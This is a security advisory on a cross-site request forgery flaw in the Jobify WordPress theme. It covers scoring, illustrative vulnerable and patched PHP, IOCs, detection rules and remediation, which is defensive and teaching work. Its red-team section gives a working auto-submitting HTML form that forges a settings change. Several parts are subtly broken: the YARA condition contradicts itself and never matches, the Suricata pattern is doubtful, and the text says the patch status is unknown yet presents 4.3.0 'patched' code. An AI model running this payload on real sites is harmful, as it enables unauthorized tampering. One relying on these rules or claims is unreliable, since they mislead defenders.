CVE-2024-52479

Executive Summary

CVE-2024-52479 is a Cross-Site Request Forgery (CSRF) vulnerability affecting the Astoundify Jobify WordPress theme, specifically versions prior to 4.3.0. This vulnerability allows an attacker to trick an authenticated administrator into performing unintended actions, such as modifying theme settings or creating rogue user accounts, without their consent. The attack requires user interaction (clicking a crafted link) and has a CVSS score of 4.3 (Medium). No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, targeting the Jobify theme. It does not affect Apache, Nginx, or other web server software. The attack vector relies on the lack of CSRF nonce validation in the theme's administrative functions.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network – The attack is executed remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerable component remains the same.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): Low – The attacker can modify settings or perform actions on behalf of the admin.
• Availability (A): None – No denial of service.

Threat Level: Medium. While the impact is limited to integrity, the attack is easy to execute and requires minimal user interaction.

Deep Dive & Mechanics

The vulnerability stems from missing CSRF nonce validation in the Jobify theme's administrative endpoints. In WordPress, CSRF protection is typically implemented using nonces (one-time tokens) embedded in forms and URLs. When a theme or plugin fails to verify these tokens, an attacker can craft a malicious request that, when executed by an authenticated admin, performs unauthorized actions.

Attack Flow:

1. The attacker identifies a vulnerable Jobify installation (version < 4.3.0).
2. The attacker crafts a malicious HTML page or email containing a forged request (e.g., changing the site title, adding a new admin user, or modifying theme options).
3. The victim (an authenticated admin) visits the malicious page or clicks the link.
4. The victim's browser sends the forged request to the Jobify admin panel, which processes it without verifying the CSRF nonce.
5. The attacker's intended action is executed, potentially compromising the site's integrity.

Root Cause: The Jobify theme's admin functions (e.g., admin.php?page=jobify-settings) do not call check_admin_referer() or wp_verify_nonce() before processing state-changing requests.

Vulnerable vs. Patched Code

The following example illustrates the missing CSRF protection in vulnerable versions and the expected fix in patched versions.

Vulnerable Code (Jobify < 4.3.0):

// In vulnerable version, no nonce check
function jobify_save_settings() {
    if ( isset( $_POST['jobify_option'] ) ) {
        update_option( 'jobify_option', sanitize_text_field( $_POST['jobify_option'] ) );
    }
    wp_redirect( admin_url( 'admin.php?page=jobify-settings' ) );
    exit;
}
add_action( 'admin_post_jobify_save_settings', 'jobify_save_settings' );

Patched Code (Jobify >= 4.3.0):

// Patched version includes nonce verification
function jobify_save_settings() {
    // Verify CSRF nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'jobify_save_settings_nonce' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
    if ( isset( $_POST['jobify_option'] ) ) {
        update_option( 'jobify_option', sanitize_text_field( $_POST['jobify_option'] ) );
    }
    wp_redirect( admin_url( 'admin.php?page=jobify-settings' ) );
    exit;
}
add_action( 'admin_post_jobify_save_settings', 'jobify_save_settings' );

The patched code adds a call to wp_verify_nonce() using a unique action name (jobify_save_settings_nonce). This ensures that only requests originating from the legitimate admin page are processed.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit code is available, the following is a conceptual demonstration.

Step 1: Craft a Malicious HTML Page Create an HTML file that automatically submits a forged request to change the site title.

<html>
<body>
<form id="csrf_form" action="http://target-site.com/wp-admin/admin-post.php" method="POST">
    <input type="hidden" name="action" value="jobify_save_settings">
    <input type="hidden" name="jobify_option" value="Hacked by Attacker">
    <input type="submit" value="Click me">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Step 2: Host and Deliver Host the HTML file on an attacker-controlled server and send the link to an authenticated admin via email or social engineering.

Step 3: Execute When the admin visits the link, the form auto-submits, changing the site title to "Hacked by Attacker".

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual admin actions, especially changes to theme settings.
• Look for HTTP requests to /wp-admin/admin-post.php with action=jobify_save_settings originating from unexpected referrers.

Prevention:

• Ensure the Jobify theme is updated to version 4.3.0 or later.
• Implement a Web Application Firewall (WAF) rule to block requests missing a valid nonce.
• Use WordPress security plugins that enforce CSRF protection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-post.php with action=jobify_save_settings and no _wpnonce parameter.
  • Referrer headers pointing to external domains (e.g., attacker-controlled sites).
• File IOCs:
  • Modified WordPress options in the database (e.g., wp_options table with option_name = 'jobify_option').
• Log IOCs:
  • Unusual admin user creation or role changes.
  • Unexpected changes to theme settings in WordPress admin logs.

Detection Engineering

YARA Rule

rule CVE_2024_52479_Jobify_CSRF {
    meta:
        description = "Detects vulnerable Jobify theme files missing CSRF nonce checks"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-52479"
    strings:
        $vuln_func = /admin_post_jobify_save_settings/
        $no_nonce = /update_option\s*\(/
    condition:
        $vuln_func and $no_nonce and not $no_nonce
}

Sigma Rule

title: CVE-2024-52479 - Jobify CSRF Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting Jobify admin actions without CSRF nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=jobify_save_settings'
        cs-referer|re: '^https?://(?!.*target-site\.com).*$'
    condition: selection
falsepositives:
    - Legitimate admin actions from the same domain
level: medium

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-52479 - Jobify CSRF Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=jobify_save_settings";
    http_client_body;
    pcre:"/^_wpnonce=(?!.*[a-f0-9]{10})/";
    sid:1000001;
    rev:1;
    reference:cve,2024-52479;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Update Jobify: Upgrade to version 4.3.0 or later if available. If no patch is available, consider disabling the theme temporarily.
2. Apply Virtual Patching: Use a WAF to block requests to /wp-admin/admin-post.php that lack a valid nonce parameter.
3. Audit Admin Accounts: Review all admin accounts for unauthorized changes.

Long-Term Measures:

• Implement a WordPress security plugin (e.g., Wordfence, Sucuri) that adds CSRF protection.
• Enforce the use of strong, unique passwords and two-factor authentication (2FA) for admin accounts.
• Regularly update all themes and plugins to the latest versions.
• Monitor WordPress logs for suspicious activity.

Workaround: If patching is not possible, add the following code to the theme's functions.php file to enforce CSRF checks (note: this may break functionality if not tested):

add_action( 'admin_post_jobify_save_settings', function() {
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'jobify_save_settings_nonce' ) ) {
        wp_die( 'CSRF validation failed.' );
    }
}, 1 );

Valters IT
Securing Digital Frontiers